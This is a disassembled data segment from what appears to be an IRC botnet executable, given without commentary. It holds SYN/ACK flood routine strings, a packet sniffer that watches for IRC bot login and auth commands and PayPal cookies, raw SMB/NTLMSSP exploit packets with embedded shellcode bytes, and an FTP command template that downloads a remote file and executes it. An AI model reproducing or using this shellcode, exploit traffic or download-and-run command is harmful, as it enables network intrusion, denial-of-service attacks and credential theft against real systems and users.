dword_41FF88 dd 19930520h, 1, 41FFA8h, 5 dup(0) dd 0FFFFFFFFh, 41E654h dword_41FFB0 dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0 dd 0FFFFFFFFh, 41E668h, 2, 41FF28h, 41FF08h, 0 ; DATA XREF: zugr1819:0041FFF4o dword_41FFE8 dd 0 dd offset sub_41E1B8 dd 0 dd offset dword_41FFD0+8 dword_41FFF8 dd 19930520h, 1, 420018h, 5 dup(0) dd 0FFFFFFFFh, 41E67Ch dword_420020 dd 19930520h, 1, 420040h, 5 dup(0) dd 0FFFFFFFFh, 41E690h dword_420048 dd 19930520h, 1, 420068h, 5 dup(0) dd 0FFFFFFFFh, 41E6A4h, 0 dd offset off_438598 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 41E3CCh, 0 dword_420090 dd 3, 420070h, 41FF28h, 41FF08hdword_4200A0 dd 0 ; sub_41E393+12o dd offset sub_41E356 dd 0 dd offset dword_420090 dword_4200B0 dd 19930520h, 1, 4200D0h, 5 dup(0) dd 0FFFFFFFFh, 41E6B8h dword_4200D8 dd 19930520h, 1, 4200F8h, 5 dup(0) dd 0FFFFFFFFh, 41E6CCh, 3C0h dup(0) zugr1819 ends ; Section 3. (virtual address 00021000) ; Virtual size : 00323000 (3289088.) ; Section size in file : 00323000 (3289088.) ; Offset to raw data for section: 00021000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 421000h dword_421000 dd 0 dd offset sub_403527 dd offset sub_41E3E4 dword_42100C dd 0 dword_421010 dd 0 dd offset sub_414992 dd offset sub_41A5D7 dd offset sub_41B3F2 dd offset sub_41BD91 dword_421024 dd 0 dword_421028 dd 0 dd offset sub_41B497 dword_421030 dd 0 dword_421034 dd 0 dd offset sub_41BDA2 dword_42103C dd 0 unk_421040 db 2 ; DATA XREF: sub_401000+5Bo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 2 dup(64h) db 6Fh ; o db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDoneWithFloodI db 'Done with flood (%iKB/sec).',0 unk_421078 db 2 ; DATA XREF: sub_4010B2+302o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 2 dup(64h) db 6Fh ; o db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSendErrorD_ db 'Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o align 4 unk_4210CC db 2 ; DATA XREF: sub_401447+398o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 69h, 63h db 6Dh ; m db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB' db ').',0 unk_42112C db 2 ; DATA XREF: sub_401447+30Co db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 69h, 63h db 6Dh ; m db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>' db '.',0 align 4 unk_42118C db 2 ; DATA XREF: sub_401447+12Bo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 69h, 63h db 6Dh ; m db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aInvalidTargetI db 'Invalid target IP.',0 align 4 unk_4211BC db 2 ; DATA XREF: sub_401447+C3o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 69h, 63h db 6Dh ; m db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0 unk_421204 db 2 ; DATA XREF: sub_401447+4Ao db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 69h, 63h db 6Dh ; m db 70h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0 unk_421248 db 2 ; DATA XREF: sub_40182F+48o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 10h unk_421280 db 2 ; DATA XREF: sub_4018CB+27Do db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD__0 db ' Send error: <%d>.',0 align 10h unk_4212B0 db 2 ; DATA XREF: sub_401BD7+4EBo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 63h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 10h unk_421310 db 2 ; DATA XREF: sub_401BD7+44Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 63h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 10h aRandom db 'random',0 ; DATA XREF: sub_401BD7+312o ; sub_40CC09+27DFo ... align 4 off_421378 dd offset byte_6B6361 ; DATA XREF: sub_401BD7+2F2o ; sub_40CC09+27C8o off_42137C dd offset byte_6E7973 ; DATA XREF: sub_401BD7+2D2o ; sub_40CC09+27B0o unk_421380 db 2 ; DATA XREF: sub_401BD7+15Fo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 63h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTarge_0 db ' Invalid target IP.',0 align 10h unk_4213B0 db 2 ; DATA XREF: sub_401BD7+EEo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 63h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_4213F8 db 2 ; DATA XREF: sub_401BD7+70o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 74h, 63h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h off_421440 dd offset off_421CB8 ; DATA XREF: sub_40211B+29Er dd offset off_421CB4 dd offset off_421CB0 dd offset aHttp ; "HTTP" a_login db ':.login',0 ; DATA XREF: sub_40211B+1DEo dd 3 dup(0) dword_421464 dd 0 aLogin db ':,login',0 dd 4 dup(0) aLogin_0 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_1 db ':$login',0 dd 4 dup(0) aLogin_2 db ':%login',0 dd 4 dup(0) aLogin_3 db ':^login',0 dd 4 dup(0) aLogin_4 db ':&login',0 dd 4 dup(0) aLogin_5 db ':*login',0 dd 4 dup(0) aLogin_6 db ':-login',0 dd 4 dup(0) aLogin_7 db ':+login',0 dd 4 dup(0) aLogin_8 db ':/login',0 dd 4 dup(0) aLogin_9 db ':\login',0 dd 4 dup(0) aLogin_10 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_11 db ':',27h,'login',0 dd 4 dup(0) aLogin_12 db ':`login',0 dd 4 dup(0) aLogin_13 db ':~login',0 dd 4 dup(0) aLogin_14 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 10h dd 4 dup(0) aAuth db ':,auth',0 align 4 dd 4 dup(0) aAuth_0 db ':!auth',0 align 10h dd 4 dup(0) a@auth db ':@auth',0 align 4 dd 4 dup(0) aAuth_1 db ':$auth',0 align 10h dd 4 dup(0) aAuth_2 db ':%auth',0 align 4 dd 4 dup(0) aAuth_3 db ':^auth',0 align 10h dd 4 dup(0) aAuth_4 db ':&auth',0 align 4 dd 4 dup(0) aAuth_5 db ':*auth',0 align 10h dd 4 dup(0) aAuth_6 db ':-auth',0 align 4 dd 4 dup(0) aAuth_7 db ':+auth',0 align 10h dd 4 dup(0) aAuth_8 db ':/auth',0 align 4 dd 4 dup(0) aAuth_9 db ':\auth',0 align 10h dd 4 dup(0) aAuth_10 db ':=auth',0 align 4 dd 4 dup(0) a?auth db ':?auth',0 align 10h dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 4 dd 4 dup(0) aAuth_12 db ':`auth',0 align 10h dd 4 dup(0) aAuth_13 db ':~auth',0 align 4 dd 4 dup(0) aAuth_14 db ': auth',0 align 10h dd 4 dup(0) a_id db ':.id',0 align 4 dd 4 dup(0) aId db ':,id',0 align 10h dd 4 dup(0) aId_0 db ':!id',0 align 4 dd 4 dup(0) a@id db ':@id',0 align 10h dd 4 dup(0) aId_1 db ':$id',0 align 4 dd 4 dup(0) aId_2 db ':%id',0 align 10h dd 4 dup(0) aId_3 db ':^id',0 align 4 dd 4 dup(0) aId_4 db ':&id',0 align 10h dd 4 dup(0) aId_5 db ':*id',0 align 4 dd 4 dup(0) aId_6 db ':-id',0 align 10h dd 4 dup(0) aId_7 db ':+id',0 align 4 dd 4 dup(0) aId_8 db ':/id',0 align 10h dd 4 dup(0) aId_9 db ':\id',0 align 4 dd 4 dup(0) aId_10 db ':=id',0 align 10h dd 4 dup(0) a?id db ':?id',0 align 4 dd 4 dup(0) aId_11 db ':',27h,'id',0 align 10h dd 4 dup(0) aId_12 db ':`id',0 align 4 dd 4 dup(0) aId_13 db ':~id',0 align 10h dd 4 dup(0) aId_14 db ': id',0 align 4 dd 4 dup(0) a_hashin db ':.hashin',0 align 10h aHashin db ':!hashin',0 align 4 dd 3 dup(0) aHashin_0 db ':$hashin',0 align 10h aHashin_1 db ':%hashin',0 align 4 dd 3 dup(0) a_secure db ':.secure',0 align 10h aSecure_0 db ':!secure',0 align 4 dd 3 dup(0) dd offset word_6C2E3A dd 5 dup(0) dd offset word_6C213A dd 5 dup(0) dd offset word_6C243A dd 5 dup(0) dd offset word_6C253A dd 5 dup(0) dd offset word_782E3A dd 5 dup(0) dd offset word_78213A dd 5 dup(0) dd offset word_78243A dd 5 dup(0) dd offset word_78253A dd 5 dup(0) a_syn db ':.syn',0 align 10h dd 4 dup(0) aSyn db ':!syn',0 align 4 dd 4 dup(0) aSyn_0 db ':$syn',0 align 10h dd 4 dup(0) aSyn_1 db ':%syn',0 align 4 dd 4 dup(0) aCdkey db ' CDKey ',0 dd 4 dup(0) aJoin db 'JOIN #',0 align 4 dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: .data:0042144Co align 10h off_421CB0 dd offset word_505446 ; DATA XREF: .data:00421448o off_421CB4 dd offset aIninitx_exe ; DATA XREF: .data:00421444o ; "ININITX.EXE" off_421CB8 dd offset word_544F42 ; DATA XREF: .data:off_421440o unk_421CBC db 2 ; DATA XREF: sub_40211B+2FCo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Eh db 69h ; i db 2 dup(66h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorRecvFaile db ' Error: recv() failed, returned: <%d>',0 align 10h unk_421D00 db 2 ; DATA XREF: sub_40211B+2ABo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Eh db 69h ; i db 2 dup(66h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSuspiciousSPac db ' Suspicious %s packet from: %s:%d - %s.',0 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_40211B+235o align 10h unk_421D50 db 2 ; DATA XREF: sub_40211B+186o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Eh db 69h ; i db 2 dup(66h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorWsaioctlF db ' Error: WSAIoctl() failed, returned: <%d>.',0 align 4 unk_421D98 db 2 ; DATA XREF: sub_40211B+103o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Eh db 69h ; i db 2 dup(66h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorBindFaile db ' Error: bind() failed, returned: <%d>.',0 align 4 unk_421DDC db 2 ; DATA XREF: sub_40211B+85o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 73h, 6Eh db 69h ; i db 2 dup(66h), 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aErrorSocketF_1 db ' Error: socket() failed, returned: <%d>.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402749+B2o align 10h dword_421E30 dd 10FF8h, 0 dword_421E38 dd 10FF8h dword_421E3C dd 7FFDF020h, 0 dword_421E44 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_421ECC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_421EFC dd 0 dd 800000D4h, 0 unk_421F08 db 81h ; ; DATA XREF: sub_402C4D+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_421F54 db 41h ; DATA XREF: sub_402CEB+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 aSvwfbA db 'SVWf',0 ; DATA XREF: sub_402F48+80o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_422100 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: sub_402F48+30o dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dword_422190 dd 23h ; sub_40CC09+819o ... dword_422194 dd 60h dword_422198 dd 62B0606h, 2050501h, 0A0hdword_4221A4 dd 30h ; .data:0042A758o ... dword_4221A8 dd 0A1h dword_4221AC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_402749+153o align 4 dword_4221B8 dd 909006EBh, 90909090h, 0aSS_ db '%s// %s.',0 ; DATA XREF: sub_402F48+1CEo align 10h aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_402F48+55o ; sub_4039C9+A0o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 dword_422240 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: .text:00403636o dd 0DC00000h, 0F2140000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh dword_422298 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: .text:00403653o dd 0DC00000h, 0F2140000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dword_422348 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: .text:00403670o dd 0DC00000h, 0F2140800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 36h db 0B1h ; db 1Dh, 36h, 0A3h db 0F4h ; db 0A7h, 0FDh, 0EFh aVjsVSDrw db '+JS٢]˶drW',0 dd offset byte_52004F dd offset byte_53004B dd offset loc_410054 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_422440 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: .text:0040368Ao dd 0DC00000h, 0F2140800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_422480 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: .text:004036A4o dd 0DC00800h, 0F2140800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h dword_4224E0 dd 0A050000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: .text:004036C1o dd 0DC00800h, 0F2140800h, 0C0000010h, 0E0040004h, 0FFh dd 2 dup(0) dd 0C0004A00h, 2004A04h, 2600h, 5C04C740h, 45504950h, 5005Ch dd 10030Bh, 4C00000h, 0 dd 16D00000h, 16D0h, 1B0000h, 0 dd 4C900001h, 81BE7530h, 1F97F220h, 0FB459534h, 50325h dd 5D040001h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 10000h, 39850001h, 0EFAFCA15h, 7932C302h, 7BCF5BE5h dd 5DC24h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 20000h, 63490001h, 0D8E85EA8h, 9285C965h, 0CAE7BB8Fh dd 44707h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 30000h, 0A7F70001h, 0A87F8EDh, 0E0DB354Ah, 2861EE0h dd 6BFF6h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 40000h, 3C4C0001h, 6E13D516h, 1FDD409Ch, 0BB30813Ch dd 64BC5h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 50000h, 7C720001h, 0D815DC91h, 8946A097h, 5B9FBB92h dd 55897h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 60000h, 0F4DC0001h, 0B4D3C01Ah, 0A1042C01h dd 7E0600CEh, 5E2A8h, 5D040001h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 70000h, 4F080001h, 24C723D3h, 0DB7953E8h dd 3D2CED44h, 10F53h, 5D040003h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 80000h, 22600001h, 2DB4CF8Bh, 798F91A7h dd 9D215062h, 1CE53h, 5D040000h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 90000h, 6AC40001h, 849D78F3h, 6438019Dh dd 0E534CAC7h, 3FB45h, 5D040000h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0A0000h, 0AB9D0001h, 0A30CD6EFh dd 0D8DA93FDh, 0D8EC0C39h, 680FBh, 5D040002h, 1CEB8A88h dd 0E89F11C9h, 102B0008h, 26048h, 0B0000h, 7B60001h, 0B763259h dd 83CE5AFh, 35B8CCB1h, 54588h, 5D040003h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0C0000h, 22A60001h, 0F50E68ECh, 5EDAD388h dd 0A44DCCA6h, 1C6B6h, 5D040000h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0D0000h, 50C10001h, 8786F974h, 0FF9EE96h dd 0B5B93FDEh, 394D0h, 5D040002h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0E0000h, 31000001h, 0D433AE6Ah, 98C54BE8h dd 185B9B8Fh, 23122h, 5D040002h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0F0000h, 4FC80001h, 16704B32h, 781201D3h dd 6EBF475Ah, 388E1h, 5D040000h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 100000h, 0DE960001h, 5B30B378h, 469AE9FEh dd 0ECD0F96h, 444E6h, 5D040003h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 110000h, 0A9B40001h, 640309A4h, 0A1338C6Ch dd 0F6D1EF39h, 2E8BCh, 5D040001h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 120000h, 8BA10001h, 8040A429h, 0B9F09E15h dd 43423390h, 25811h, 5D040000h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 130000h, 5D800001h, 7CA6EAEFh, 9C7FA1BEh dd 900800C3h, 437C6h, 5D040002h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 140000h, 96280001h, 80DFA998h, 35D07846h dd 1613D94Dh, 6212Eh, 5D040001h, 1CEB8A88h, 0E89F11C9h dd 102B0008h dword_4228E0 dd 26048h, 150000h, 8DBC0001h, 9410948Ah, 3EC6AE42h, 9EA6C8F6h ; DATA XREF: .text:004036DEo dd 6DB96h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 160000h, 3A30001h, 0A1E2E55Eh, 4F372266h, 5E1CF00Fh dd 5FF0Fh, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 170000h, 0A6C60001h, 600F5C0Bh, 9376FE39h, 0F02A6305h dd 151A2h, 5D040003h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 180000h, 20290001h, 4A8040BFh, 0A773ED25h, 9D548349h dd 21268h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 190000h, 2FB90001h, 274FDBD1h, 131ED051h, 0F3ED8CCAh dd 6F5F3h, 5D040002h, 1CEB8A88h, 0E89F11C9h, 102B0008h dd 26048h, 1A0000h, 0F6E40001h, 0FB47C143h, 0B31848FAh dd 9D8B5559h, 6CB79h, 5D040001h, 1CEB8A88h, 0E89F11C9h dd 102B0008h, 26048h, 0 dword_4229F0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:004036FBo dd 0DC00800h, 0F2140800h, 0FF0Eh, 400000h, 0FF000000h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 0F000001h, 0B1001F00h, 112145Fh, 0 dd 1000000h, 0 dd 15C4A500h, 2, 15000000h, 7C000002h, 0A898B94Eh, 2CB7344Ah dd 913DE231h, 0F8137A92h, 7D34FD86h, 3D757871h, 0BA3F6692h dd 0BBB9F81Ah, 3CD53891h, 2DB3D628h, 0B4677A15h, 9F147BB0h dd 2BA9374Fh, 0B24979FCh, 402C7C97h, 1774B24h, 473574E2h dd 737E7FB1h, 42BEF530h, 0F933B725h, 9890D46Bh, 0BFFD10B8h dd 4A70E389h, 9BB5994Eh, 0C0FF2241h, 72761DE1h, 0E0184304h dd 0A805460Ch, 1CEB8427h, 0EB11B693h, 96A89648h, 747D7199h dd 0FC85FD02h, 7570417Eh, 0F5204214h, 0B9A9B692h, 2CE1831Dh dd 277B7ABEh, 88904035h, 0B834B7D6h, 9F0C9167h, 4EB4BA25h dd 247F78B2h, 9715434Bh, 0E219F82Ah, 983C7948h, 0B1371CBBh dd 47763F9Bh, 305B54Ah, 0D308BFD4h, 9349E0D2h, 873DD532h dd 0B34F77F9h, 697C0473h, 7246E3F7h, 0B02D66h dword_422B4C dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: .text:00403718o dd 0DC00800h, 0F2140800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 0F000001h, 1D001F00h, 0C1FED081h, 53D73EBh, 0F9214192h dd 0C46154Ah, 443797Dh, 39FC1B75h, 0D62977E2h, 969B4FB1h dd 47257274h, 496697BEh, 7BD5124Eh, 0FD832C76h, 377FBFB8h dd 2442B699h, 0D46B70A9h, 912DBA9Fh, 0F820787Ah, 0B2F58034h dd 0E3027C27h, 0B73C7135h, 4B3F7EBBh, 1C9067A8h, 0D22998B5h dd 40B348E0h, 0B9B4B093h, 2176E138h, 0A91477E3h, 73E2F719h dd 86F98135h, 791DE1D1h, 69437278h, 919FB4D5h, 14B69325h dd 4BB84847h, 0B5F53905h, 7E99B704h, 377AF803h, 427D3C4Fh dd 0D4F62A7Bh, 9BA8B2B0h, 0B14A2475h, 97BB3496h, 4EFD33B3h dd 9246EB01h, 0D60B661Ch, 70E03190h, 